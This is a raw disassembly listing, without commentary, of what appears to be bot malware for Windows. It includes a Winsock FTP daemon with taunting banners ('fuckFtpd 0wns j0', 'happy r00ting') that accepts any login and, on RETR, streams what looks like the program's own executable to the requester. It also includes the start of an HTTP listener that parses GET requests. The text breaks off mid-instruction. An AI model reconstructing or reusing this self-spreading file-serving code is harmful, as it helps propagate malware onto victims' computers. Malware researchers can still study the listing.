push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_402E6C call sub_41AECC loc_402E6C: ; CODE XREF: sub_402E54+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_402E7E mov esi, [ebp+arg_8] loc_402E7E: ; CODE XREF: sub_402E54+25j cmp edi, ebx jnz short loc_402EA0 push ds:dword_41C228 add esi, ecx mov ecx, edi push esi call sub_403018 push [ebp+arg_4] mov ecx, edi push 0 call sub_403018 jmp short loc_402F19 ; --------------------------------------------------------------------------- loc_402EA0: ; CODE XREF: sub_402E54+2Cj test esi, esi jbe short loc_402EE3 cmp esi, eax jnz short loc_402EE3 mov eax, [ebx+4] test eax, eax jnz short loc_402EB4 mov eax, offset dword_41C238 loc_402EB4: ; CODE XREF: sub_402E54+59j cmp byte ptr [eax-1], 0FEh jnb short loc_402EE3 push 1 mov ecx, edi call sub_402FA7 mov eax, [ebx+4] test eax, eax jnz short loc_402ECF mov eax, offset dword_41C238 loc_402ECF: ; CODE XREF: sub_402E54+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_402F19 ; --------------------------------------------------------------------------- loc_402EE3: ; CODE XREF: sub_402E54+4Ej ; sub_402E54+52j ... push 1 push esi mov ecx, edi call sub_402F22 test al, al jz short loc_402F19 mov eax, [ebx+4] test eax, eax jnz short loc_402EFD mov eax, offset dword_41C238 loc_402EFD: ; CODE XREF: sub_402E54+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_4105F0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_402F19: ; CODE XREF: sub_402E54+4Aj ; sub_402E54+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_402E54 endp ; =============== S U B R O U T I N E ======================================= sub_402F22 proc near ; CODE XREF: sub_402930+3Dp ; sub_402DA4+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_402F34 call sub_41ACA0 loc_402F34: ; CODE XREF: sub_402F22+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_402F5D mov al, [ecx-1] cmp al, dl jz short loc_402F5D cmp al, 0FFh jz short loc_402F5D cmp edi, edx jnz short loc_402F98 dec al push edx mov [ecx-1], al loc_402F52: ; CODE XREF: sub_402F22+47j mov ecx, esi call sub_402FA7 loc_402F59: ; CODE XREF: sub_402F22+4Bj ; sub_402F22+52j xor al, al jmp short loc_402FA2 ; --------------------------------------------------------------------------- loc_402F5D: ; CODE XREF: sub_402F22+19j ; sub_402F22+20j ... cmp edi, edx jnz short loc_402F76 cmp [esp+8+arg_4], dl jz short loc_402F6B push 1 jmp short loc_402F52 ; --------------------------------------------------------------------------- loc_402F6B: ; CODE XREF: sub_402F22+43j cmp ecx, edx jz short loc_402F59 mov [esi+8], edx mov [ecx], dl jmp short loc_402F59 ; --------------------------------------------------------------------------- loc_402F76: ; CODE XREF: sub_402F22+3Dj cmp [esp+8+arg_4], dl jz short loc_402F93 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_402F88 cmp eax, edi jnb short loc_402FA0 loc_402F88: ; CODE XREF: sub_402F22+60j push 1 mov ecx, esi call sub_402FA7 jmp short loc_402F98 ; --------------------------------------------------------------------------- loc_402F93: ; CODE XREF: sub_402F22+58j cmp [esi+0Ch], edi jnb short loc_402FA0 loc_402F98: ; CODE XREF: sub_402F22+28j ; sub_402F22+6Fj push edi mov ecx, esi call sub_40307F loc_402FA0: ; CODE XREF: sub_402F22+64j ; sub_402F22+74j mov al, 1 loc_402FA2: ; CODE XREF: sub_402F22+39j pop edi pop esi retn 8 sub_402F22 endp ; =============== S U B R O U T I N E ======================================= sub_402FA7 proc near ; CODE XREF: sub_402930+1Fp ; sub_402930+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_402FD3 mov eax, [esi+4] test eax, eax jz short loc_402FD3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_402FCC cmp al, 0FFh jz short loc_402FCC dec al mov [ecx], al jmp short loc_402FD3 ; --------------------------------------------------------------------------- loc_402FCC: ; CODE XREF: sub_402FA7+19j ; sub_402FA7+1Dj push ecx call sub_4112BF pop ecx loc_402FD3: ; CODE XREF: sub_402FA7+8j ; sub_402FA7+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_402FA7 endp ; =============== S U B R O U T I N E ======================================= sub_402FE3 proc near ; CODE XREF: sub_402B8D+13Ep ; sub_40313C+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_402F22 test al, al jz short loc_403011 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_4105F0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_403011: ; CODE XREF: sub_402FE3+12j mov eax, esi pop edi pop esi retn 8 sub_402FE3 endp ; =============== S U B R O U T I N E ======================================= sub_403018 proc near ; CODE XREF: sub_402E54+39p ; sub_402E54+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40302B call sub_41AECC loc_40302B: ; CODE XREF: sub_403018+Cj mov ecx, edi call sub_40313C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_403041 mov ebx, eax loc_403041: ; CODE XREF: sub_403018+25j test ebx, ebx jbe short loc_403077 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4112D0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_402F22 test al, al jz short loc_403077 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_403077: ; CODE XREF: sub_403018+2Bj ; sub_403018+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_403018 endp ; =============== S U B R O U T I N E ======================================= sub_40307F proc near ; CODE XREF: sub_402F22+79p mov eax, offset loc_41B180 call sub_4112A0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_4030A5 mov edi, [ebp+8] loc_4030A5: ; CODE XREF: sub_40307F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_4030B2 xor eax, eax loc_4030B2: ; CODE XREF: sub_40307F+2Fj push eax call sub_411605 pop ecx mov [ebp+8], eax jmp short loc_4030E3 ; --------------------------------------------------------------------------- loc_4030BE: ; DATA XREF: seg001:0041CEECo mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_4030CD xor eax, eax loc_4030CD: ; CODE XREF: sub_40307F+4Aj push eax call sub_411605 mov [ebp+8], eax pop ecx mov eax, offset loc_4030DD retn ; --------------------------------------------------------------------------- loc_4030DD: ; DATA XREF: sub_40307F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4030E3: ; CODE XREF: sub_40307F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_403101 cmp eax, edi jbe short loc_4030F0 mov eax, edi loc_4030F0: ; CODE XREF: sub_40307F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_4105F0 add esp, 0Ch loc_403101: ; CODE XREF: sub_40307F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_402FA7 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_403121 mov edi, ebx loc_403121: ; CODE XREF: sub_40307F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40307F endp ; =============== S U B R O U T I N E ======================================= sub_40313C proc near ; CODE XREF: sub_403018+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_403169 mov al, [esi-1] test al, al jz short loc_403169 cmp al, 0FFh jz short loc_403169 push 1 call sub_402FA7 push esi call sub_410B60 pop ecx push eax push esi mov ecx, edi call sub_402FE3 loc_403169: ; CODE XREF: sub_40313C+9j ; sub_40313C+10j ... pop edi pop esi retn sub_40313C endp ; =============== S U B R O U T I N E ======================================= sub_40316C proc near ; DATA XREF: seg002:0041E004o test ds:byte_45FB30, 1 jnz short loc_40317C or ds:byte_45FB30, 1 loc_40317C: ; CODE XREF: sub_40316C+7j jmp $+5 push offset nullsub_1 call sub_411680 pop ecx retn sub_40316C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40318D proc near ; DATA XREF: seg000:00405220o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call ds:dword_41C198 ; WSAStartup push edi call sub_411914 push eax call sub_41055D push 0FA00h push 471h call sub_40F6B3 add esp, 10h mov ds:dword_42F3F0, eax push edi push ebx push 2 call ds:dword_41C1C0 ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call ds:dword_41C19C ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call ds:dword_41C1A0 ; ioctlsocket mov ax, word ptr ds:dword_42F3F0 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call ds:dword_41C1BC ; ntohs mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call ds:dword_41C1A4 ; bind test eax, eax jge short loc_403262 mov eax, ebx jmp loc_403789 ; --------------------------------------------------------------------------- loc_403262: ; CODE XREF: sub_40318D+CCj push 0Ah push esi call ds:dword_41C1A8 ; listen mov [ebp+var_228], ebx mov ebx, ds:dword_41C1CC mov [ebp+var_224], esi mov [ebp+var_4], esi loc_403280: ; CODE XREF: sub_40318D+12Cj ; sub_40318D+5F4j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_41C1B0 ; select cmp eax, 0FFFFFFFFh jz loc_403786 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_403280 loc_4032BB: ; CODE XREF: sub_40318D+5EEj xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_410590 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_410590 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_41AFF8 ; __WSAFDIsSet test eax, eax jz loc_403774 cmp edi, [ebp+var_C] jnz short loc_403372 lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call ds:dword_41C1AC ; accept cmp eax, 0FFFFFFFFh jz loc_403774 xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_40333C lea edx, [ebp+var_224] loc_40332C: ; CODE XREF: sub_40318D+1ADj cmp [edx], eax jz short loc_40333C inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_40332C loc_40333C: ; CODE XREF: sub_40318D+197j ; sub_40318D+1A1j cmp ecx, [ebp+var_228] jnz short loc_40335A cmp [ebp+var_228], 40h jnb short loc_40335A mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_40335A: ; CODE XREF: sub_40318D+1B5j ; sub_40318D+1BEj cmp eax, [ebp+var_4] jle short loc_403362 mov [ebp+var_4], eax loc_403362: ; CODE XREF: sub_40318D+1D0j push esi push 15h push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n" push eax call ebx ; send jmp loc_403774 ; --------------------------------------------------------------------------- loc_403372: ; CODE XREF: sub_40318D+169j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call ds:dword_41C1C8 ; recv test eax, eax jg short loc_4033D9 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_4033CD lea eax, [ebp+var_224] loc_403399: ; CODE XREF: sub_40318D+216j cmp [eax], edi jz short loc_4033A7 inc ecx add eax, 4 cmp ecx, edx jb short loc_403399 jmp short loc_4033CD ; --------------------------------------------------------------------------- loc_4033A7: ; CODE XREF: sub_40318D+20Ej dec edx cmp ecx, edx jnb short loc_4033C7 lea eax, [ebp+ecx*4+var_224] loc_4033B3: ; CODE XREF: sub_40318D+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4033B3 loc_4033C7: ; CODE XREF: sub_40318D+21Dj dec [ebp+var_228] loc_4033CD: ; CODE XREF: sub_40318D+204j ; sub_40318D+218j push edi call ds:dword_41C1D0 ; closesocket jmp loc_403774 ; --------------------------------------------------------------------------- loc_4033D9: ; CODE XREF: sub_40318D+1F8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_4118E0 lea eax, [ebp+var_AC] push offset aUser_0 ; "USER" push eax call sub_410930 add esp, 18h test eax, eax jnz short loc_40341D push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40375F ; --------------------------------------------------------------------------- loc_40341D: ; CODE XREF: sub_40318D+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_403441 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40375F ; --------------------------------------------------------------------------- loc_403441: ; CODE XREF: sub_40318D+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_403465 push esi push 0Dh push offset a215Fuckftpd ; "215 fuckFtpd\n" jmp loc_40375F ; --------------------------------------------------------------------------- loc_403465: ; CODE XREF: sub_40318D+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_403489 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40375F ; --------------------------------------------------------------------------- loc_403489: ; CODE XREF: sub_40318D+2EDj lea eax, [ebp+var_AC] push offset off_41F5C8 push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4034AD push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40375F ; --------------------------------------------------------------------------- loc_4034AD: ; CODE XREF: sub_40318D+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4034E8 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4034E8 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40375F ; --------------------------------------------------------------------------- loc_4034E8: ; CODE XREF: sub_40318D+335j ; sub_40318D+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_403523 lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_403523 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40375F ; --------------------------------------------------------------------------- loc_403523: ; CODE XREF: sub_40318D+370j ; sub_40318D+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_403571 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_410B60 pop ecx push eax lea eax, [ebp+var_124] loc_403561: ; CODE XREF: sub_40318D+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_403569: ; CODE XREF: sub_40318D+4F3j mov edi, [ebp+arg_0] jmp loc_403762 ; --------------------------------------------------------------------------- loc_403571: ; CODE XREF: sub_40318D+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4035B2 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_410B60 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_403561 ; --------------------------------------------------------------------------- loc_4035B2: ; CODE XREF: sub_40318D+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz loc_403685 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_4118E0 lea eax, [ebp+var_F8] push eax call sub_410A7F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_410A7F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_410590 push [ebp+var_8] lea eax, [ebp+var_F8] push edi push offset aXX ; "%x%x\n" push eax call sub_41050B add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_4118C9 mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41050B add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_403569 ; --------------------------------------------------------------------------- loc_403685: ; CODE XREF: sub_40318D+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz loc_403740 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_403790 pop ecx cmp eax, 1 pop ecx jnz short loc_403736 call sub_40380D cmp eax, 1 jnz loc_403762 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push ds:dword_42F3F0 push eax lea eax, [ebp+var_8DC] push offset dword_41F40C push eax call sub_41050B add esp, 14h cmp [ebp+var_440], esi jnz short loc_403727 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40E367 add esp, 14h loc_403727: ; CODE XREF: sub_40318D+575j lea eax, [ebp+var_8DC] push eax call sub_407E0E pop ecx jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403736: ; CODE XREF: sub_40318D+52Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40375F ; --------------------------------------------------------------------------- loc_403740: ; CODE XREF: sub_40318D+50Dj lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_403762 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40375F: ; CODE XREF: sub_40318D+28Bj ; sub_40318D+2AFj ... push edi call ebx ; send loc_403762: ; CODE XREF: sub_40318D+3DFj ; sub_40318D+539j ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_410590 add esp, 0Ch loc_403774: ; CODE XREF: sub_40318D+160j ; sub_40318D+189j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_4032BB jmp loc_403280 ; --------------------------------------------------------------------------- loc_403786: ; CODE XREF: sub_40318D+11Ej push 1 pop eax loc_403789: ; CODE XREF: sub_40318D+D0j pop edi pop esi pop ebx leave retn 4 sub_40318D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403790 proc near ; CODE XREF: sub_40318D+525p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_41C198 ; WSAStartup push 0 push 1 push 2 call ds:dword_41C1C0 ; socket push [ebp+arg_0] mov ds:dword_42F3EC, eax mov [ebp+var_10], 2 call ds:dword_41C1B8 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_41C1BC ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_42F3EC call ds:dword_41C1C4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_403808 push ds:dword_42F3EC call ds:dword_41C1D0 ; closesocket call ds:dword_41C194 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_403790+60j push 1 pop eax leave retn sub_403790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40380D proc near ; CODE XREF: sub_40318D+531p var_1037B = byte ptr -1037Bh var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 3D0000h or [ebp+var_1037B], 0FFh push offset aRb ; "rb" push eax call sub_411B4E mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4038A4 test byte ptr [esi+0Ch], 10h jnz short loc_403888 push edi mov edi, 400h loc_403850: ; CODE XREF: sub_40380D+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_411A46 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push ds:dword_42F3EC call ds:dword_41C1CC ; send push 1 call ds:dword_41C058 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_403850 pop edi loc_403888: ; CODE XREF: sub_40380D+3Bj push esi call sub_4119F0 pop ecx push ds:dword_42F3EC call ds:dword_41C1D0 ; closesocket call ds:dword_41C194 ; WSACleanup push 1 pop eax loc_4038A4: ; CODE XREF: sub_40380D+35j pop esi leave retn sub_40380D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038A7 proc near ; DATA XREF: seg000:0040532Do ; seg000:0040D909o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_410BE0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_410590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call ds:dword_430794 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_430810 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_403C92 mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_4358E4[eax], edi lea eax, [ebp+var_24] push eax push edi call ds:dword_4307C0 ; bind cmp eax, 0FFFFFFFFh jz loc_403C92 push 7FFFFFFFh push edi call ds:dword_4307BC ; listen cmp eax, 0FFFFFFFFh jz loc_403C92 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_43082C ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_403C92 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40397E: ; CODE XREF: sub_4038A7+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_43077C ; select cmp eax, 0FFFFFFFFh jz loc_403C8D xor esi, esi mov [ebp+var_4], esi loc_4039B4: ; CODE XREF: sub_4038A7+3DBj lea eax, [ebp+var_6F0] push eax push esi call ds:dword_43069C ; __WSAFDIsSet test eax, eax jz loc_403C78 cmp esi, [ebp+var_C] jnz short loc_403A36 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call ds:dword_430824 ; accept cmp eax, 0FFFFFFFFh jz loc_403C78 xor ecx, ecx test ebx, ebx jbe short loc_403A08 lea edx, [ebp+var_134] loc_4039FC: ; CODE XREF: sub_4038A7+15Fj cmp [edx], eax jz short loc_403A08 inc ecx add edx, 4 cmp ecx, ebx jb short loc_4039FC loc_403A08: ; CODE XREF: sub_4038A7+14Dj ; sub_4038A7+157j cmp ecx, ebx jnz short loc_403A25 cmp ebx, 40h jnb short loc_403A25 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_403A25: ; CODE XREF: sub_4038A7+163j ; sub_4038A7+168j cmp eax, [ebp+var_8] jbe loc_403C78 mov [ebp+var_8], eax jmp loc_403C78 ; --------------------------------------------------------------------------- loc_403A36: ; CODE XREF: sub_4038A7+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_410590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_410590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call ds:dword_4307AC ; recv test eax, eax jg short loc_403AC9 push esi call ds:dword_430828 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_403C78 lea eax, [ebp+var_134] loc_403A88: ; CODE XREF: sub_4038A7+1EBj cmp [eax], esi jz short loc_403A99 inc ecx add eax, 4 cmp ecx, ebx jb short loc_403A88 jmp loc_403C78 ; --------------------------------------------------------------------------- loc_403A99: ; CODE XREF: sub_4038A7+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_403ABD lea eax, [ebp+ecx*4+var_134] loc_403AA7: ; CODE XREF: sub_4038A7+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_403AA7 loc_403ABD: ; CODE XREF: sub_4038A7+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_403C78 ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_4038A7+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_410590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_410B60 add esp, 10h test eax, eax jbe loc_403C78 loc_403AF7: ; CODE XREF: sub_4038A7+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_403B9C mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_410AE0 pop ecx test eax, eax pop ecx jz short loc_403B70 lea eax, [ebp+var_18F0] push eax call sub_410B60 cmp eax, 5 pop ecx jbe short loc_403B70 mov eax, offset asc_41F6B0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_410AE0 pop ecx pop ecx push eax call sub_410AE0 pop ecx pop ecx push eax call sub_411C60 push eax lea eax, [ebp+var_23C] push eax call sub_411B70 add esp, 10h jmp short loc_403B87 ; --------------------------------------------------------------------------- loc_403B70: ; CODE XREF: sub_4038A7+27Fj ; sub_4038A7+291j lea eax, 